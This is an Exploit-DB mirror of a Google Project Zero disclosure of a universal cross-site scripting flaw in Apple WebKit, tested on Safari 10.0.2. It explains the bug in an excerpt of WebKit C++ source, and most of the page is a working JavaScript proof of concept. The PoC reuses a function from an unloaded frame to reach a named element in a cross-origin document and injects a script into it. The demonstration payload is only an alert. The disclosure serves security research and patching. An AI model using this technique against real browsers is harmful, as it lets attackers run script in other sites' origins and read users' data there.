Apple Webkit – Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window

  • 作者: Google Security Research
    日期: 2017-04-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41801/
  • <!--
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1063
    
    The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.
    
    static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
    {
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
    auto& htmlDocument = downcast<HTMLDocument>(*document);
    auto* atomicPropertyName = propertyName.publicName();
    if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
    JSValue namedItem;
    if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
    Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
    ASSERT(collection->length() > 1);
    namedItem = toJS(exec, thisObject->globalObject(), collection);
    } else
    namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
    slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
    return true;
    }
    }
    
    return false;
    }
    
    PoC:
    -->
    
    "use strict";
    
    let f = document.body.appendChild(document.createElement("iframe"));
    let get_element = f.contentWindow.Function("return logo;");
    
    f.onload = () => {
    f.onload = null;
    
    let node = get_element();
    
    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
    };
    
    f.src = "https://abc.xyz/";
    
    <!--
    Tested on Safari 10.0.2(12602.3.12.0.1).
    -->